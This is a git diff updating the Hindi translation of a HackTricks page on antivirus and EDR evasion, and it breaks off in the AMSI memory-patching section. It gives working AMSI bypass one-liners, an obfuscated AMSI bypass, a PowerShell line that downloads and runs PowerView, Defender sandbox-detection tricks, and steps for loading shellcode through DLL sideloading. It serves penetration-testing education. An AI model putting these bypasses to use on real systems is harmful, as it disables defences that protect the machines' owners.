diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 5379a833f..86a384663 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -2,103 +2,108 @@ {{#include ../banners/hacktricks-training.md}} -**यह पृष्ठ लिखा गया है** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** +**यह पृष्ठ लिखा गया था** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** -## Stop Defender +## Defender रोकें -- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender को काम करने से रोकने के लिए एक उपकरण। -- [no-defender](https://github.com/es3n1n/no-defender): Windows Defender को काम करने से रोकने के लिए एक उपकरण जो दूसरे AV का नाटक करता है। +- [defendnot](https://github.com/es3n1n/defendnot): Windows Defender को निष्क्रिय करने के लिए एक tool। +- [no-defender](https://github.com/es3n1n/no-defender): किसी दूसरे AV की नकल करके Windows Defender को काम बंद कर देने वाला एक tool। - [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md) ## **AV Evasion Methodology** -वर्तमान में, AV विभिन्न तरीकों का उपयोग करते हैं यह जांचने के लिए कि क्या एक फ़ाइल दुर्भावनापूर्ण है या नहीं, स्थैतिक पहचान, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारात्मक विश्लेषण। +वर्तमान में, AVs फाइल के malicious होने की जाँच के लिए कई तरीके इस्तेमाल करते हैं: static detection, dynamic analysis, और अधिक उन्नत EDRs के मामले में, behavioural analysis। ### **Static detection** -स्थैतिक पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान को बायपास करने के कुछ तरीके हैं: +Static detection उन ज्ञात malicious strings या arrays of bytes को binary या script में flag करके हासिल किया जाता है, और साथ ही फाइल से स्वयं की जानकारी निकालकर (उदा. file description, company name, digital signatures, icon, checksum, आदि)। इसका मतलब है कि ज्ञात public tools का उपयोग करने पर आपको आसानी से पकड़ा जा सकता है, क्योंकि उन्हें संभवतः पहले ही analyse और malicious के रूप में flag कर दिया गया होगा। इस तरह के detection से बचने के कुछ तरीके हैं: - **Encryption** -यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको प्रोग्राम को मेमोरी में डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी। +यदि आप binary को encrypt करते हैं, तो AV आपके प्रोग्राम का पता नहीं लगा पाएगा, लेकिन आपको इसे decrypt करके memory में चलाने के लिए किसी प्रकार का loader चाहिए होगा। - **Obfuscation** -कभी-कभी आपको अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं, यह एक समय लेने वाला कार्य हो सकता है। +कभी-कभी बस अपनी binary या script के कुछ strings बदल देने से AV को चकमा दिया जा सकता है, लेकिन यह उस चीज़ पर निर्भर करके समय-साध्य काम हो सकता है जिसे आप obfuscate करना चाहते हैं। - **Custom tooling** -यदि आप अपने स्वयं के उपकरण विकसित करते हैं, तो कोई ज्ञात बुरा हस्ताक्षर नहीं होगा, लेकिन इसके लिए बहुत समय और प्रयास की आवश्यकता होती है। +अगर आप अपने खुद के tools विकसित करते हैं, तो कोई जाना-पहचाना bad signature नहीं होगा, पर यह बहुत समय और मेहनत मांगता है। > [!TIP] -> Windows Defender की स्थैतिक पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको सटीक रूप से बता सकता है कि आपके बाइनरी में कौन सी फ्लैग की गई स्ट्रिंग्स या बाइट्स हैं। +> Windows Defender की static detection के खिलाफ चेक करने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूलतः फाइल को कई हिस्सों में बांटता है और फिर Defender को हर हिस्से को अलग से scan करने का काम देता है; इस तरह यह आपको ठीक-ठीक बता सकता है कि आपकी binary में कौन से strings या bytes flag हो रहे हैं। -मैं अत्यधिक अनुशंसा करता हूँ कि आप इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) को व्यावहारिक AV Evasion के बारे में देखें। +मैं आपको practical AV Evasion के लिए इस [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) को ज़रूर देखने की सलाह देता हूँ। ### **Dynamic analysis** -गतिशील विश्लेषण तब होता है जब AV आपके बाइनरी को एक सैंडबॉक्स में चलाता है और दुर्भावनापूर्ण गतिविधियों की निगरानी करता है (जैसे आपके ब्राउज़र के पासवर्ड को डिक्रिप्ट और पढ़ने की कोशिश करना, LSASS पर मिनीडंप करना, आदि)। इस भाग के साथ काम करना थोड़ा कठिन हो सकता है, लेकिन यहाँ कुछ चीजें हैं जो आप सैंडबॉक्स को बायपास करने के लिए कर सकते हैं। +Dynamic analysis तब होती है जब AV आपकी binary को एक sandbox में चलाकर malicious activity की निगरानी करता है (उदा. ब्राउज़र के passwords decrypt और पढ़ने की कोशिश करना, LSASS पर minidump लेना, आदि)। यह हिस्सा थोड़ा जटिल हो सकता है, पर sandbox से बचने के लिए आप कुछ चीज़ें कर सकते हैं: -- **Sleep before execution** इसे लागू करने के तरीके के आधार पर, यह AV के गतिशील विश्लेषण को बायपास करने का एक शानदार तरीका हो सकता है। AV के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के कार्यप्रवाह में बाधा न आए, इसलिए लंबे स्लीप का उपयोग बाइनरी के विश्लेषण को बाधित कर सकता है। समस्या यह है कि कई AV के सैंडबॉक्स स्लीप को छोड़ सकते हैं, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया गया है। -- **Checking machine's resources** आमतौर पर सैंडबॉक्स के पास काम करने के लिए बहुत कम संसाधन होते हैं (जैसे < 2GB RAM), अन्यथा वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक भी हो सकते हैं, उदाहरण के लिए CPU के तापमान या यहां तक कि फैन स्पीड की जांच करके, सब कुछ सैंडबॉक्स में लागू नहीं होगा। -- **Machine-specific checks** यदि आप एक उपयोगकर्ता को लक्षित करना चाहते हैं जिसकी कार्यस्थल "contoso.local" डोमेन से जुड़ी है, तो आप कंप्यूटर के डोमेन पर जांच कर सकते हैं कि क्या यह उस डोमेन से मेल खाता है जिसे आपने निर्दिष्ट किया है, यदि नहीं, तो आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं। +- **Sleep before execution** + जिस तरह से इसे implement किया गया है उसके मुताबिक यह AV के dynamic analysis को bypass करने का अच्छा तरीका हो सकता है। AVs के पास फाइलों को scan करने का बहुत कम समय होता है ताकि उपयोगकर्ता का workflow बाधित न हो, इसलिए लंबे sleeps analysis को बाधित कर सकते हैं। समस्या यह है कि कई AVs के sandboxes sleep को skip कर सकते हैं, यह इस बात पर निर्भर करता है कि इसे कैसे लागू किया गया है। -यह पता चला है कि Microsoft Defender का सैंडबॉक्स कंप्यूटर नाम HAL9TH है, इसलिए, आप अपने मैलवेयर में विस्फोट से पहले कंप्यूटर नाम की जांच कर सकते हैं, यदि नाम HAL9TH से मेल खाता है, तो इसका मतलब है कि आप Defender के सैंडबॉक्स के अंदर हैं, इसलिए आप अपने प्रोग्राम को बाहर निकलने के लिए कह सकते हैं। +- **Checking machine's resources** + आमतौर पर Sandboxes के पास काम करने के लिए बहुत कम resources होते हैं (उदा. < 2GB RAM), वरना वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ काफी creative भी हो सकते हैं, जैसे CPU का तापमान या fan speeds चेक करना — हर चीज़ sandbox में implement नहीं होती। + +- **Machine-specific checks** + अगर आप किसी उपयोगकर्ता को target करना चाहते हैं जिसकी workstation "contoso.local" domain से जुड़ी है, तो आप कंप्यूटर के domain की जाँच कर सकते हैं और अगर यह match नहीं करता तो अपना प्रोग्राम exit करवा सकते हैं। + +पता चला है कि Microsoft Defender के Sandbox का computername HAL9TH है, इसलिए आप अपने malware में detonation से पहले computer name चेक कर सकते हैं; अगर name HAL9TH से मेल खाती है तो आप समझ जाइए कि आप defender के sandbox के अंदर हैं और अपना प्रोग्राम exit करवा सकते हैं।

source: https://youtu.be/StSLxFbVz0M?t=1439

-[@mgeeky](https://twitter.com/mariuszbit) से सैंडबॉक्स के खिलाफ जाने के लिए कुछ अन्य बहुत अच्छे टिप्स +Sandboxes के खिलाफ जाने के लिए [@mgeeky](https://twitter.com/mariuszbit) के कुछ और अच्छे सुझाव: -

Red Team VX Discord #malware-dev चैनल

+

Red Team VX Discord #malware-dev channel

-जैसा कि हमने इस पोस्ट में पहले कहा, **सार्वजनिक उपकरण** अंततः **पकड़े जाएंगे**, इसलिए, आपको अपने आप से कुछ पूछना चाहिए: +जैसा कि हमने इस पोस्ट में पहले कहा है, public tools अंततः detect हो ही जाते हैं, इसलिए आपको खुद से ये सवाल पूछना चाहिए: -उदाहरण के लिए, यदि आप LSASS को डंप करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करने की आवश्यकता है**? या क्या आप एक अलग प्रोजेक्ट का उपयोग कर सकते हैं जो कम ज्ञात है और LSASS को भी डंप करता है। +उदाहरण के लिए, अगर आप LSASS dump करना चाहते हैं, क्या आपको वास्तव में mimikatz का उपयोग करना ज़रूरी है? या क्या आप किसी कम ज्ञात प्रोजेक्ट का उपयोग कर सकते हैं जो LSASS भी dump करता हो? -सही उत्तर शायद बाद वाला है। mimikatz को एक उदाहरण के रूप में लेते हुए, यह शायद AVs और EDRs द्वारा सबसे अधिक फ्लैग की गई मैलवेयर में से एक है, जबकि प्रोजेक्ट स्वयं सुपर कूल है, इसके साथ AVs को बायपास करने के लिए काम करना एक बुरा सपना है, इसलिए बस आप जो हासिल करने की कोशिश कर रहे हैं उसके लिए विकल्पों की तलाश करें। +सही जवाब शायद बाद वाला होगा। mimikatz जैसे उदाहरण को लें — यह संभवतः AVs और EDRs द्वारा सबसे ज्यादा flag किया जाने वाला टुकड़ा है; जबकि प्रोजेक्ट खुद बहुत अच्छा है, यह AVs को चक्मा देने के लिए इसके साथ काम करना एक nightmare हो सकता है, इसलिए जो आप हासिल करना चाहते हैं उसके लिए alternatives ढूँढें। > [!TIP] -> जब आप अपने पैलोड्स को बायपास के लिए संशोधित करते हैं, तो सुनिश्चित करें कि **डिफेंडर में स्वचालित नमूना सबमिशन बंद करें**, और कृपया, गंभीरता से, **VIRUSTOTAL पर अपलोड न करें** यदि आपका लक्ष्य लंबे समय में बायपास प्राप्त करना है। यदि आप यह जांचना चाहते हैं कि क्या आपका पैलोड किसी विशेष AV द्वारा पकड़ा जाता है, तो इसे एक VM पर इंस्टॉल करें, स्वचालित नमूना सबमिशन बंद करने की कोशिश करें, और वहां परीक्षण करें जब तक कि आप परिणाम से संतुष्ट न हों। +> जब आप अपने payloads को evasion के लिए modify कर रहे हों, तो सुनिश्चित करें कि Defender में automatic sample submission बंद हो। और कृपया, गंभीरता से, यदि आपका लक्ष्य long-term में evasion हासिल करना है तो **DO NOT UPLOAD TO VIRUSTOTAL**। अगर आप देखना चाहते हैं कि आपका payload किसी particular AV द्वारा detect हो रहा है या नहीं, तो एक VM पर उसे install करें, automatic sample submission बंद करने की कोशिश करें, और वहाँ तब तक टेस्ट करें जब तक आप परिणाम से संतुष्ट न हों। ## EXEs vs DLLs -जब भी संभव हो, हमेशा **बायपास के लिए DLLs का उपयोग करने को प्राथमिकता दें**, मेरे अनुभव में, DLL फ़ाइलें आमतौर पर **बहुत कम पहचानी जाती हैं** और विश्लेषित की जाती हैं, इसलिए यह कुछ मामलों में पहचान से बचने के लिए उपयोग करने के लिए एक बहुत सरल चाल है (यदि आपके पैलोड में किसी तरह से DLL के रूप में चलने का तरीका है तो निश्चित रूप से)। +जहाँ भी संभव हो, हमेशा evasion के लिए **DLLs का उपयोग प्राथमिकता दें**; मेरे अनुभव में, DLL फाइलें आम तौर पर **काफ़ी कम detect** होती हैं और analyze की जाती हैं, तो यह कुछ मामलों में detection से बचने के लिए एक बहुत ही सरल ट्रिक है (बशर्ते आपका payload किसी तरह से DLL के रूप में चल सके)। -जैसा कि हम इस छवि में देख सकते हैं, Havoc का एक DLL पैलोड antiscan.me पर 4/26 की पहचान दर रखता है, जबकि EXE पैलोड की पहचान दर 7/26 है। +जैसा कि इस इमेज में दिखता है, Havoc का एक DLL Payload antiscan.me पर 4/26 detection rate दिखाता है, जबकि EXE payload का detection rate 7/26 था। -

antiscan.me पर सामान्य Havoc EXE पैलोड बनाम सामान्य Havoc DLL की तुलना

+

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

-अब हम कुछ चालें दिखाएंगे जिन्हें आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि अधिक छिपे हुए रह सकें। +अब हम कुछ ट्रिक्स दिखाएंगे जिन्हें आप DLL फाइलों के साथ इस्तेमाल करके कहीं अधिक stealthy बन सकते हैं। ## DLL Sideloading & Proxying -**DLL Sideloading** लोडर द्वारा उपयोग की जाने वाली DLL खोज क्रम का लाभ उठाता है, जिसमें पीड़ित एप्लिकेशन और दुर्भावनापूर्ण पैलोड्स को एक साथ रखा जाता है। +**DLL Sideloading** loader द्वारा उपयोग किए जाने वाले DLL search order का फायदा उठाता है, जहां victim application और malicious payload(s) को एक दूसरे के साथ रखकर क्रम का फायदा उठाया जाता है। -आप [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित पॉवरशेल स्क्रिप्ट का उपयोग करके DLL Sideloading के प्रति संवेदनशील कार्यक्रमों की जांच कर सकते हैं: +आप [Siofra](https://github.com/Cybereason/siofra) और निम्न powershell script का उपयोग करके DLL Sideloading के प्रति susceptible programs की जाँच कर सकते हैं: ```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck } ``` -यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के प्रति संवेदनशील प्रोग्रामों की सूची और वे DLL फ़ाइलें जो वे लोड करने की कोशिश करते हैं, आउटपुट करेगा। +यह कमांड "C:\Program Files\\" के अंदर DLL hijacking के लिए संवेदनशील प्रोग्रामों की सूची और वे DLL फाइलें जो वे लोड करने की कोशिश करते हैं, आउटपुट करेगा। -मैं अत्यधिक अनुशंसा करता हूँ कि आप **DLL हाइजैक करने योग्य/साइडलोड करने योग्य प्रोग्रामों का स्वयं अन्वेषण करें**, यह तकनीक सही तरीके से की गई तो काफी छिपी हुई होती है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL साइडलोड करने योग्य प्रोग्रामों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं। +मैं दृढ़ता से सुझाव देता/देती हूँ कि आप **explore DLL Hijackable/Sideloadable programs yourself**, यह तकनीक सही तरीके से की जाए तो काफी छिपी हुई होती है, पर अगर आप सार्वजनिक रूप से ज्ञात DLL Sideloadable programs का उपयोग करते हैं, तो आप आसानी से पकड़ाए जा सकते हैं। -बस एक दुर्भावनापूर्ण DLL को उस नाम के साथ रखने से जो एक प्रोग्राम लोड करने की उम्मीद करता है, आपका पेलोड लोड नहीं होगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट कार्यों की अपेक्षा करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL प्रॉक्सींग/फॉरवर्डिंग** कहा जाता है। +केवल उस नाम का एक दुर्भावनापूर्ण DLL रख देने से जो प्रोग्राम लोड करने की उम्मीद करता है, वह आपका payload अपने आप लोड नहीं करेगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशिष्ट फ़ंक्शन्स की उम्मीद करता है; इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL Proxying/Forwarding** कहा जाता है। -**DLL प्रॉक्सींग** प्रोग्राम द्वारा प्रॉक्सी (और दुर्भावनापूर्ण) DLL से मूल DLL को किए गए कॉल को अग्रेषित करता है, इस प्रकार प्रोग्राम की कार्यक्षमता को बनाए रखते हुए आपके पेलोड के निष्पादन को संभालने में सक्षम होता है। +**DLL Proxying** प्रोग्राम के द्वारा किए जाने वाले कॉल्स को proxy (और malicious) DLL से original DLL तक फ़ॉरवर्ड करता है, इस तरह प्रोग्राम की कार्यक्षमता बनी रहती है और यह आपके payload के निष्पादन को संभालने में सक्षम होता है। -मैं [@flangvik](https://twitter.com/Flangvik/) के [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करने जा रहा हूँ। +मैं [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग करूँगा जो [@flangvik](https://twitter.com/Flangvik/) द्वारा है। -ये वे चरण हैं जिनका मैंने पालन किया: +ये वे कदम हैं जिन्हें मैंने किए: ``` 1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker) 2. Generate some shellcode (I used Havoc C2) 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` -अंतिम कमांड हमें 2 फ़ाइलें देगी: एक DLL स्रोत कोड टेम्पलेट, और मूल नामित DLL। +आखिरी कमांड हमें 2 फ़ाइलें देगा: एक DLL source code template, और मूल नाम बदला हुआ DLL।
``` @@ -106,18 +111,20 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ```
-हमारा शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन रेट है! मैं इसे एक सफलता कहूंगा। +ये परिणाम हैं: + +Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
> [!TIP] -> मैं **गंभीरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) को भी देखें ताकि आप जो हमने गहराई से चर्चा की है, उसके बारे में और अधिक जान सकें। +> मैं आपको **ज़ोरदार रूप से सलाह देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading के बारे में देखें और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) भी देखें ताकि आप जो हमने गहराई से चर्चा की है उसके बारे में और अधिक जान सकें। ## [**Freeze**](https://github.com/optiv/Freeze) -`Freeze एक पेलोड टूलकिट है जो निलंबित प्रक्रियाओं, सीधे syscalls, और वैकल्पिक निष्पादन विधियों का उपयोग करके EDRs को बायपास करने के लिए है` +`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods` -आप Freeze का उपयोग अपने शेलकोड को छिपे हुए तरीके से लोड और निष्पादित करने के लिए कर सकते हैं। +आप Freeze का उपयोग अपने shellcode को गोपनीय तरीके से लोड और निष्पादित करने के लिए कर सकते हैं। ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. @@ -127,53 +134,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!TIP] -> बचाव केवल एक बिल्ली और चूहा खेल है, जो आज काम करता है वह कल पता लगाया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर निर्भर न रहें, यदि संभव हो तो कई बचाव तकनीकों को जोड़ने की कोशिश करें। +> Evasion बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है वह कल पता चल सकता है, इसलिए केवल एक ही टूल पर कभी निर्भर न रहें — अगर संभव हो तो कई evasion techniques को chain करने की कोशिश करें। -## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस) +## AMSI (Anti-Malware Scan Interface) -AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless_malware)" को रोकने के लिए बनाया गया था। प्रारंभ में, AV केवल **डिस्क पर फ़ाइलों** को स्कैन करने में सक्षम थे, इसलिए यदि आप किसी तरह **प्रत्यक्ष मेमोरी में** पेलोड निष्पादित कर सकते थे, तो AV इसे रोकने के लिए कुछ नहीं कर सकता था, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी। +AMSI को [fileless malware](https://en.wikipedia.org/wiki/Fileless_malware) को रोकने के लिए बनाया गया था। शुरुआत में, AVs केवल **files on disk** को ही स्कैन कर सकते थे, इसलिए अगर आप किसी भी तरह payloads को **directly in-memory** execute कर पाते थे, तो AV कुछ नहीं कर सकता था क्योंकि उसके पास पर्याप्त visibility नहीं थी। -AMSI सुविधा Windows के इन घटकों में एकीकृत है। +The AMSI feature is integrated into these components of Windows. -- उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन) -- PowerShell (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन) -- Windows Script Host (wscript.exe और cscript.exe) -- JavaScript और VBScript -- Office VBA मैक्रोज़ +- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) +- PowerShell (scripts, interactive use, and dynamic code evaluation) +- Windows Script Host (wscript.exe and cscript.exe) +- JavaScript and VBScript +- Office VBA macros -यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है, जो स्क्रिप्ट सामग्री को एक रूप में उजागर करता है जो न तो एन्क्रिप्टेड है और न ही अस्पष्ट। +यह antivirus solutions को स्क्रिप्ट के व्यवहार को inspect करने की सुविधा देता है क्योंकि यह स्क्रिप्ट कंटेंट्स को एक ऐसी form में एक्सपोज़ करता है जो unencrypted और unobfuscated दोनों होती है। -`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर Windows Defender पर निम्नलिखित अलर्ट उत्पन्न होगा। +Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
-ध्यान दें कि यह `amsi:` को पहले जोड़ता है और फिर उस निष्पादन योग्य का पथ जोड़ता है जिससे स्क्रिप्ट चलाई गई, इस मामले में, powershell.exe +ध्यान दें कि यह `amsi:` को पहले जोड़ता है और फिर उस executable का path देता है जिसमें से स्क्रिप्ट चली थी — इस केस में powershell.exe -हमने डिस्क पर कोई फ़ाइल नहीं गिराई, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़े गए। +हमने किसी भी फ़ाइल को disk पर नहीं डाला था, फिर भी AMSI की वजह से in-memory पकड़े गए। -इसके अलावा, **.NET 4.8** से शुरू होकर, C# कोड भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` को मेमोरी में निष्पादन लोड करने पर भी प्रभाव डालता है। इसलिए यदि आप AMSI से बचना चाहते हैं तो मेमोरी में निष्पादन के लिए .NET के निम्न संस्करणों (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है। +Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. यह `Assembly.Load(byte[])` जैसे in-memory loading को भी प्रभावित करता है। इसलिए in-memory execution के लिए lower versions of .NET (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सलाह दी जाती है अगर आप AMSI से बचना चाहते हैं। AMSI को बायपास करने के कुछ तरीके हैं: -- **अस्पष्टता** +- **Obfuscation** -चूंकि AMSI मुख्य रूप से स्थिर पहचान के साथ काम करता है, इसलिए, आप जो स्क्रिप्ट लोड करने की कोशिश कर रहे हैं, उन्हें संशोधित करना पहचान से बचने का एक अच्छा तरीका हो सकता है। +चूंकि AMSI मुख्यतः static detections पर काम करता है, इसलिए जिन स्क्रिप्ट्स को आप load करने की कोशिश करते हैं उन्हें modify करना detection से बचने का एक अच्छा तरीका हो सकता है। -हालांकि, AMSI के पास स्क्रिप्ट को अस्पष्ट करने की क्षमता है, भले ही इसमें कई परतें हों, इसलिए अस्पष्टता एक बुरा विकल्प हो सकता है, यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। यह इसे बचने के लिए इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको केवल कुछ चर के नाम बदलने की आवश्यकता होती है और आप ठीक हो जाएंगे, इसलिए यह इस बात पर निर्भर करता है कि कुछ कितना झंडा उठाया गया है। +हालाँकि, AMSI के पास इतने layers होने पर भी स्क्रिप्ट्स को unobfuscate करने की क्षमता है, इसलिए obfuscation खराब विकल्प भी हो सकता है यह इस बात पर निर्भर करता है कि इसे कैसे किया गया है। इससे इसे evade करना सीधा-साधा नहीं होता। हालांकि कभी-कभी, बस कुछ variable names बदलने भर से भी काम चल जाता है, तो यह इस पर निर्भर करता है कि किसी चीज़ को कितना flag किया गया है। -- **AMSI बायपास** +- **AMSI Bypass** -चूंकि AMSI को powershell (साथ ही cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसलिए इसे आसानी से छेड़छाड़ करना संभव है, भले ही एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चलाया जाए। AMSI के कार्यान्वयन में इस दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के लिए कई तरीके खोजे हैं। +चूंकि AMSI को powershell (और cscript.exe, wscript.exe, आदि) प्रोसेस में एक DLL लोड करके implement किया गया है, इसलिए unprivileged user के रूप में भी इसे आसानी से tamper किया जा सकता है। AMSI की इस implementation की कमजोरी के कारण रिसर्चर्स ने AMSI scanning को evade करने के कई तरीके ढूँढे हैं। -**एक त्रुटि को मजबूर करना** +**Forcing an Error** -AMSI प्रारंभिककरण को विफल (amsiInitFailed) करने के लिए मजबूर करने से वर्तमान प्रक्रिया के लिए कोई स्कैन शुरू नहीं होगा। मूल रूप से, इसे [Matt Graeber](https://twitter.com/mattifestation) द्वारा प्रकट किया गया था और Microsoft ने व्यापक उपयोग को रोकने के लिए एक हस्ताक्षर विकसित किया है। +AMSI initialization को fail (amsiInitFailed) करने पर current process के लिए कोई scan initiate नहीं होगा। मूल रूप से यह [Matt Graeber](https://twitter.com/mattifestation) द्वारा डिस्क्लोज़ किया गया था और Microsoft ने इसकी व्यापक उपयोग को रोकने के लिए एक signature विकसित किया है। ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -बस एक पंक्ति का powershell कोड AMSI को वर्तमान powershell प्रक्रिया के लिए अनुपयोगी बनाने के लिए आवश्यक था। इस पंक्ति को निश्चित रूप से AMSI द्वारा चिह्नित किया गया है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है। +सिर्फ़ एक लाइन powershell कोड ही वर्तमान powershell प्रोसेस के लिए AMSI को अनुपयोगी बनाने के लिए काफी थी। यह लाइन, जैसा कि अपेक्षित है, AMSI द्वारा ही फ़्लैग कर दी गई थी, इसलिए इस technique का उपयोग करने के लिए कुछ संशोधन आवश्यक हैं। -यहां एक संशोधित AMSI बायपास है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है। +यहाँ एक संशोधित AMSI bypass है जो मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है। ```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' @@ -187,118 +194,118 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -ध्यान रखें, कि यह संभवतः इस पोस्ट के प्रकाशित होने पर फ्लैग किया जाएगा, इसलिए यदि आपकी योजना अदृश्य रहने की है तो आपको कोई कोड प्रकाशित नहीं करना चाहिए। +ध्यान रखें कि यह पोस्ट प्रकाशित होते ही संभवतः फ्लैग हो जाएगा, इसलिए यदि आपका उद्देश्य अनदेखा रहना है तो कोई कोड प्रकाशित न करें। **Memory Patching** -यह तकनीक मूल रूप से [@RastaMouse](https://twitter.com/_RastaMouse/) द्वारा खोजी गई थी और इसमें amsi.dll में "AmsiScanBuffer" फ़ंक्शन के लिए पता लगाना शामिल है (जो उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को स्कैन करने के लिए जिम्मेदार है) और इसे E_INVALIDARG के लिए कोड लौटाने के लिए निर्देशों के साथ ओवरराइट करना शामिल है, इस तरह, 